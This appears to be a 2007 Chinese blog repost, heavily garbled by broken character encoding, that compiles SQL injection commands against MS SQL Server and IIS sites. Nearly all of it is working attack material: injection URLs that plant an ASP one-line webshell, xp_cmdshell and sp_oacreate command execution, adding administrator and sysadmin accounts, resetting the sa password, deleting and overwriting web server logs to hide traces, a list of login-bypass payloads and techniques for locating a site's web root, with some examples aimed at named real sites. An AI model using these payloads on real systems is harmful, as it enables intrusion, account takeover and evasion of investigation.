ï»??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲欧美一区二区精品久久久,久久久久久国产精品免费无遮挡 ,久久国产精品免费一区http://www.aygfsteel.com/jlin/category/12889.htmlzh-cnSun, 11 Mar 2007 01:02:44 GMTSun, 11 Mar 2007 01:02:44 GMT60最详细的SQL注入相关的命令整ç?è½?http://www.aygfsteel.com/jlin/articles/103035.htmlflyflySat, 10 Mar 2007 12:44:00 GMThttp://www.aygfsteel.com/jlin/articles/103035.htmlhttp://www.aygfsteel.com/jlin/comments/103035.htmlhttp://www.aygfsteel.com/jlin/articles/103035.html#Feedback0http://www.aygfsteel.com/jlin/comments/commentRss/103035.htmlhttp://www.aygfsteel.com/jlin/services/trackbacks/103035.html QUOTE:
1ã€?  用^转义字符来写ASP(一句话木马)æ–‡äšg的方æ³?
?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

?   echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2ã€?  昄¡¤ºSQL¾pȝ»Ÿç‰ˆæœ¬åQ?
?   http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
?   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript ¾~–译器错è¯?错误 '800a03f6'
¾~ºå°‘ 'End'
/iisHelp/common/500-100.aspåQŒè¡Œ242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.aspåQŒè¡Œ17
3ã€?  在检‹¹‹çƒ¦ž®ég¸­å›½çš„¾|‘站漏洞æ—Óž¼Œåˆ†æ˜Žå·²ç»¼‹®å®šäº†æ¼‹zžå­˜åœ¨å´æ— æ³•在这三种漏洞中找到对应的¾cÕdž‹ã€‚偶焉™—´æˆ‘想åˆîCº†åœ¨SQL语言中可以ä‹É用“in”关键字˜q›è¡ŒæŸ¥è¯¢åQŒä¾‹å¦‚“select * from mytable where id in(1)”,括号中的值就是我们提交的数据åQŒå®ƒçš„结果与使用“select * from mytable where id=1”的查询¾l“果完全相同。所以访问页面的时候在URL后面加上â€? and 1=1 and 1 in(1”后原来的SQL语句ž®±å˜æˆäº†â€œselect * from mytable where id in(1) and 1=1 and 1 in(1)”,˜q™æ ·ž®×ƒ¼šå‡ºçŽ°æœŸå¾…å·²ä¹…çš„é¡µé¢äº†ã€‚æš‚ä¸”å°±å«è¿™¿Uç±»åž‹çš„æ¼æ´žä¸ºâ€œåŒ…含数字型”吧åQŒèªæ˜Žçš„你一定想åˆîCº†˜q˜æœ‰â€œåŒ…含字½W¦åž‹â€å‘¢ã€‚对了,它就是由于类似“select * from mytable where name in(‘firstseeâ€?”的查询语句造成的ã€?br />
4ã€?  判断xp_cmdshell扩展存储˜q‡ç¨‹æ˜¯å¦å­˜åœ¨åQ?br />http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:\inetput\web\xplog70.dll�--

5�  向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'


6ã€?  查看当前的数据库名称åQ?br />?   http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) næ”ÒŽˆ0,1,2,3……就可以跨库äº?br />?   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript ¾~–译器错è¯?错误 '800a03f6'
¾~ºå°‘ 'End'
/iisHelp/common/500-100.aspåQŒè¡Œ242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.aspåQŒè¡Œ17
7ã€?  列出当前所有的数据库名¿UŽÍ¼š
select * from master.dbo.sysdatabases   列出所有列的记�br />select name from master.dbo.sysdatabases 仅列出name列的记录

8ã€?  不需xp_cmdshell支持在有注入漏洞的SQL服务器上˜qè¡ŒCMD命ä×oåQ?br />CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将½{‰å¾…½E‹åº˜qè¡Œçš„结果,对于¾cÖM¼¼ping的长旉™—´å‘½ä×o必需使用此参数ã€?br />
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因䨓fsoçš„opentextfileæ–ÒŽ³•ž®†è¿”回一个textstream对象åQŒæ‰€ä»¥æ­¤æ—¶@file是一个对象ä×oç‰?br />
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到½Ž¡ç†å‘˜ç»„中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE½E‹åºåQ?br />DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三¿Uæ‰§è¡ŒCMD命ä×o的方法:

先删é™?.18åäh—¥å¿—:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

åQ?åQ‰é¦–先开启jet沙盘模式åQŒé€šè¿‡æ‰©å±•存储˜q‡ç¨‹xp_regwrite修改注册表实玎ͼŒ½Ž¡ç†å‘˜ä¿®æ”ÒŽ³¨å†Œè¡¨ä¸èƒ½é¢„防的原因。出于安全原因,默认沙盘模式未开启,˜q™å°±æ˜¯äؓ什么需要xp_regwrite的原因,而xp_regwrite臛_°‘需要DB_OWNER权限åQŒäؓ了方便,˜q™é‡Œå»ø™®®ä½¿ç”¨sysadmin权限‹¹‹è¯•åQ?br />?   exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0   ¼›æ­¢ä¸€åˆ‡ï¼ˆé»˜è®¤åQ?br />1   使能讉K—®ACCESSåQŒä½†æ˜¯ç¦æ­¢å…¶å®?br />2   ¼›æ­¢è®‰K—®ACCESSåQŒä½†æ˜¯ä‹É能其ä»?br />3   使能一åˆ?br />
?   ˜q™é‡Œä»…给出sysadmin权限下ä‹É用的命ä×oåQ?br />select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')


?   建立链接数据�L0op8ack'参考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

?   如何使用链接数据库:

使用˜q™ä¸ªæ–¹å¼å¯ä»¥æ‰§è¡ŒåQŒä½†æ˜¯å¾ˆä¸å¹¸åQŒDB_OWNER权限是不够的åQŒéœ€è¦è‡³ž®‘sysadmin权限或者securityadmin+setupadmin权限¾l„合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最¾lˆå‘玎ͼŒ˜q˜æ˜¯sa权限或者setupadmin+securityadmin权限帐户才能使用åQ?br />一般没有哪个管理员˜q™ä¹ˆè®„¡½®æ™®é€šå¸æˆähƒé™çš„

实用性不强,仅作ä¸ÞZ¸€ä¸ªå­¦ä¹ æ€È»“å?br />
大致˜q‡ç¨‹å¦‚下åQŒå¦‚果不是sysadminåQŒé‚£ä¹ˆIAS.mdb权限验证会出错,
我测试的时候授予hacker˜q™ä¸ªç”¨æˆ·setupadmin+securityadmin权限åQŒä‹É用ias.mdbå¤ÞpÓ|
需要找一个一般用户可讉K—®çš„mdb才可以:

?   新徏链接服务器”L0op8ack�EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
?   exec sp_addlinkedsrvlogin 'L0op8ack','false';--�br />exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
?   SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
?   exec sp_droplinkedsrvlogin 'L0op8ack','false';--
?   exec sp_dropserver 'L0op8ack';--

再考贝一个其它文件来代替7.18日文ä»Óž¼š
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9ã€?  用UPDATE来更新表中的数据åQ?br />HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用户密码çš?6位MD5å€égØ“åQša0b923820dcc509aåQŒå³æŠŠå¯†ç æ”¹æˆ?åQ?br />32位MD5å€égØ“åQ?  åQŒå¯†ç äØ“

10ã€?  利用表内容导成文件功èƒ?br />SQL有BCP命ä×oåQŒå®ƒå¯ä»¥æŠŠè¡¨çš„å†…å®¹å¯¼æˆæ–‡æœ¬æ–‡ä»¶åÆˆæ”‘Öˆ°æŒ‡å®šä½ç½®ã€‚利用这™å¹åŠŸèƒ½ï¼Œæˆ‘ä»¬å¯ä»¥å…ˆå¾ä¸€å¼ äÍ时表åQŒç„¶åŽåœ¨è¡¨ä¸­ä¸€è¡Œä¸€è¡Œåœ°è¾“入一个ASP木马åQŒç„¶åŽç”¨BCP命ä×o导出形成ASPæ–‡äšgã€?br />命ä×o行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名åQ?P'参数为密码,最¾lˆä¸Šä¼ äº†ä¸€ä¸ªruncommand.asp的木é©?ã€?br />
11ã€åˆ›å»ø™¡¨ã€æ’­å…¥æ•°æ®å’Œè¯Õd–数据的方æ³?br />?   创徏表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
?   往表里播入数据åQ?br />' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
?   从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--

?   删除临时表:
';drop table cyfd;--

12、通过SQL语句直接更改sa的密码:
?   update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,˜q™æ ·sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa¾l™åˆ æ‹‰ã€‚,怎么删可以参考我的《完全删除sa˜q™ä¸ªåŽé—¨ã€‹ã€?br />
?   查看本机所有的数据库用户名åQ?br />select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

?   更改sa口ä×oæ–ÒŽ³•åQšç”¨sql¾l¼åˆåˆ©ç”¨å·¥å…·˜qžæŽ¥åŽï¼Œæ‰§è¡Œå‘½ä×oåQ?br />exec sp_password NULL,'新密ç ?,'sa'

13、查询dvbbs库中所有的表名和表¾l“æž„åQ?br />?   select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
?   select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工备份当前数据库åQ?br />完全备䆾åQ?br />;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差异备䆾åQ?br />;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT�br />
15、添加和删除一个SA权限的用户teståQ?br />exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:\test.qry

16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
ž®±å¯ä»¥åˆ—出库ChouYFD中所有的用户建立的表名ã€?br />Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

17ã€?br />?   http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns åQˆwhere id=1234åQ?br />列出rdweb库中所有表中的字段名称
?   select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字ŒDµå

18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978

19、绕˜q‡ç™»å½•验证进入后台的æ–ÒŽ³•整理åQ?br />1) ' or''='
2) ' or 1=1--
3) �or ‘a�’a--
4) ‘or�’or�br />5) " or 1=1--
6åQ‰or 1=1--
7åQ?or ’a=’a
8åQ? or "a"="a
9åQ?â€? or (’aâ€?’a
10åQ?") or ("a"="a
11åQ?åQ?or (1=1
12) 'or''='
13) 人气%�and 1=1 and ���br />
20、寻扄¡½‘ç«™èµ\径的æ–ÒŽ³•汇总:
1åQ‰æŸ¥çœ‹WEB¾|‘站安装目录命ä×oåQ?br />?   cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt åQˆå°†2换成1ã€?ã€?ã€?试试åQ?br />type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显½Cø™¿è¡Œç»“果,所以不用导出到文äšg

2åQ‰åœ¨¾|‘站上随便找åˆîC¸€ä¸ªå›¾ç‰‡çš„名字 123.jpg
然后写进批处理程�23.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

执行�type c:\123.txt
˜q™æ ·æ¥åˆ†æžç½‘站的路径

3åQ‰SQL服务器和¾|‘站服务器在同一个服务器上,好了是可以执行命令是吧?
ž®†æ‰§è¡Œå‘½ä»¤è¾“出结果到
%windir%\help\iishelp\common\404b.htm或�00.asp
注意输出前Backup˜q™ä¸¤ä¸ªæ–‡ä»?br />如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来讉K—®åQšhttp://目标ip/2.asp

4åQ‰é’ˆå¯¹win2000¾pȝ»ŸåQšxp_regreadè¯Õd–HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径
2003¾pȝ»ŸåQšxp_regreadè¯Õd–åQŒæœªæ‰‘Öˆ°æ–ÒŽ³•
如:
åQ?åQ?  新徏一个表cyfd(字段为gyfd)åQ?a target="_blank">http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
åQ?åQ?  把web路径写进åŽ?http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
åQ?åQ?  ˜q˜æ˜¯è®©ä»–不匹配,昄¡¤ºé”™è¯¯:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: ž®?varchar å€?'Y:\Web\烟台人才热线后台½Ž¡ç†¾pȝ»Ÿ,,201 ' è½¬æ¢ä¸ºæ•°æ®ç±»åž‹äØ“ int 的列时发生语法错误ã€?br />TargeSite: Boolean Read() 哈哈哈。。èµ\径暴露了。ã€?br />åQ?åQ‰æŽ¥ä¸‹æ¥åˆ é™¤è¡?http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5åQ‰ç”¨regedit命ä×o导出注册表,ž®†å¯¼å‡ºçš„¾l“果保存的èµ\径到%windir%\help\iishelp\common\404b.htm或è€?00.asp™åµé¢
regedit命ä×o说明åQ?br />Regedit /L:system /R:user /E filename.reg Regpath
参数含义åQ?br />/LåQšsystem指定System.datæ–‡äšg所在的路径ã€?br />/RåQšuser指定User.datæ–‡äšg所在的路径ã€?br />/EåQšæ­¤å‚æ•°æŒ‡å®šæ³¨å†Œè¡¨ç¼–è¾‘å™¨è¦è¿›è¡Œå¯¼å‡ºæ³¨å†Œè¡¨æ“ä½œåQŒåœ¨æ­¤å‚数后面空一æ û|¼Œè¾“入导出注册表的文äšg名ã€?br />RegpathåQšç”¨æ¥æŒ‡å®šè¦å¯¼å‡ºå“ªä¸ªæ³¨å†Œè¡¨çš„分支åQŒå¦‚果不指定åQŒåˆ™ž®†å¯¼å‡ºå…¨éƒ¨æ³¨å†Œè¡¨åˆ†æ”¯ã€‚在˜q™äº›å‚数中,"/LåQšsystem"å’?/RåQšuser"参数是可选项åQŒå¦‚果不使用˜q™ä¸¤ä¸ªå‚敎ͼŒæ³¨å†Œè¡¨ç¼–辑器则认为是å¯?a class="wordstyle" target="_blank">WINDOWS目录下的"system.dat"å’?user.dat"æ–‡äšg˜q›è¡Œæ“ä½œã€‚如果是通过从èÊYç›˜å¯åŠ¨åÆˆ˜q›å…¥DOSåQŒé‚£ä¹ˆå°±å¿…须使用"/L"å’?/R"参数来指å®?system.dat"å’?user.dat"æ–‡äšg的具体èµ\径,否则注册表编辑器ž®†æ— æ³•找到它们。比如说åQŒå¦‚果通过启动盘进入DOSåQŒåˆ™å¤‡ä†¾æ³¨å†Œè¡¨çš„命ä×oæ˜?Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备䆾åˆ?a class="wordstyle" target="_blank">WINDOWS目录下,其文件名ä¸?regedit.reg"。而如果输入的æ˜?regedit /E D:\regedit.reg"˜q™æ¡å‘½ä×oåQŒåˆ™æ˜¯è¯´æŠŠæ•´ä¸ªæ³¨å†Œè¡¨å¤‡ä†¾åˆ°D盘的根目录下åQˆçœç•¥äº†"/L"å’?/R"参数åQ‰ï¼Œå…¶æ–‡ä»¶åä¸?Regedit.reg"ã€?br />
regedit /s c:\adam.reg åQˆå¯¼å…¥c:\adam.regæ–‡äšgè‡Ïx³¨å†Œè¡¨åQ?br />regedit /e c:\web.reg åQˆå¤‡ä»½å…¨éƒ¨æ³¨å†Œå†…容到c:\web.reg中)
针对win2000¾pȝ»ŸåQšC:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目标IP/2.asp
针对win2003¾pȝ»ŸåQšæ²¡æœ‰æ‰¾åˆŽÍ¼Œå¸Œæœ›æ‰‘Öˆ°çš„æœ‹å‹å…¬å¸ƒå‡ºæ¥ä¸€èµ¯‚®¨è®ºã€?br />
6åQ‰è™šæ‹Ÿä¸»æœÞZ¸‹%SystemRoot%\system32\inetsrv\MetaBack\下的文äšg是iis的备份文ä»Óž¼Œæ˜¯å…è®¸web用户讉K—®çš„,如果你的iis备䆾到这里,用webshell下蝲下来后用è®îCº‹æœ¬æ‰“å¼€åQŒå¯ä»¥èŽ·å–å¯¹åº”çš„åŸŸåå’Œweb¾lå¯¹è·¯å¾„ã€?br />
7åQ‰SQL注入建立虚拟目录åQŒæœ‰dbo权限下找不到web¾lå¯¹è·¯å¾„的一¿Uè§£å†›_Šžæ³•ï¼š
我们很多情况下都遇到SQL注入可以列目录和˜qè¡Œå‘½ä×oåQŒä½†æ˜¯å´å¾ˆä¸å®ÒŽ˜“扑ֈ°web所在目录,也就不好得到一个webshellåQŒè¿™ä¸€æ‹›ä¸é”™ï¼š
?   建立虚拟目录win,指向c:\winnt\system32åQšexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
?   让win目录å…ähœ‰è§£æžasp脚本权限åQšexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
?   删除虚拟目录winåQšexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
?   ‹¹‹è¯•åQ?a target="_blank">http://127.0.0.1/win/test.asp
8åQ‰åˆ©ç”¨SQL语句来查找WEB目录åQšæ ¹æ®ç»éªŒï¼ŒçŒœç–‘WEB根目录的™åºåºæ˜¯ï¼šd盘、e盘、c盘,首先我们建立一个äÍ时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名¿UŽÍ¼Œdepth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下åQ?
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

在进行下面的操作前,先查看D盘有几个文äšg夹,˜q™æ ·å¯¹D盘有个大致的了解åQŒè¯­å¥å¦‚下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM �))>=数字(数字=0���...)

接着åQŒæˆ‘们在å¯ÒŽ–¹çš„网站上扑և ä¸ªä¸€¾U§å­ç›®å½•åQŒå¦‚user、photoåQŒç„¶åŽï¼Œç”¨ç­›é€‰çš„æ–ÒŽ³•来判断WEB根目录上是否存在此盘上,语句如下åQ?
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

看语句的˜q”回¾l“æžœåQŒå¦‚æžœäØ“çœŸï¼Œè¡¨ç¤ºWEB根目录有可能在此盘上åQŒäؓ了进一步确认,多测试几个子目录åQ?
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

...

如果所有的‹¹‹è¯•¾l“æžœéƒ½äØ“çœŸï¼Œè¡¨ç¤ºWEB根目录很有可能在此盘上ã€?

下面假设扑ֈ°çš„WEB根目录在此盘上,用以下的语句来获得一¾U§å­ç›®å½•的深度:
and (select depth from temp where dir='user')>=数字(数字=1��...)

假设得到的depthæ˜?,说明user目录是D盘的3¾U§ç›®å½•,则WEB根目录是D盘的二çñ”目录ã€?

目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位¾|®ï¼Œæˆ‘们来从D盘根目录开始逐一搜寻åQŒå½“ç„Óž¼Œæ²¡æœ‰å¿…要知道每个目录的名¿UŽÍ¼Œå¦åˆ™å¤ªè€—费旉™—´äº†ã€?

接下来,另外建立一个äÍ时表åQŒç”¨æ¥å­˜æ”¾D盘的1¾U§å­ç›®å½•下的所有目录,语句如下åQ?

;create table temp1(dir nvarchar(255),depth varchar(255));--

然后把从D盘的½W¬ä¸€ä¸ªå­ç›®å½•下的所有目录存到temp1中,语句如下åQ?
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM �) order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的½W¬äºŒä¸ªå­ç›®å½•下的所有目录存到temp1中,只需把第二个top 1æ”¹äØ“top 2ž®Þp¡Œäº†ã€?

现在åQŒtemp1中已¾lä¿å­˜äº†æ‰€æœ‰D盘第一¾U§å­ç›®å½•下的所有目å½?然后åQŒæˆ‘们用同样的方法来判断根目录是否在此一¾U§å­ç›®å½•下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果˜q”回为真åQŒè¡¨½Cºæ ¹ç›®å½•可能在此子目录下åQŒè®°ä½è¦å¤šæµ‹è¯•å‡ ä¸ªä¾‹å­ï¼Œå¦‚æžœéƒ½è¿”å›žäØ“å‡ï¼Œåˆ™è¡¨æ˜ŽWEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2ã€?...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除ã€?

现在假设åQŒWEB根目录在D盘的½W¬ä¸€¾U§å­ç›®å½•下,该子目录名称为website,怎样获得˜q™ä¸ªç›®å½•的名¿U°æˆ‘想不用我说了吧。因为前面我们知道了WEB根目录的深度ä¸?åQŒæˆ‘们需要知道website下到底哪个才是真正的WEB根目录ã€?

现在åQŒæˆ‘们用同样的方法,再徏立第3个äÍ时表åQ?
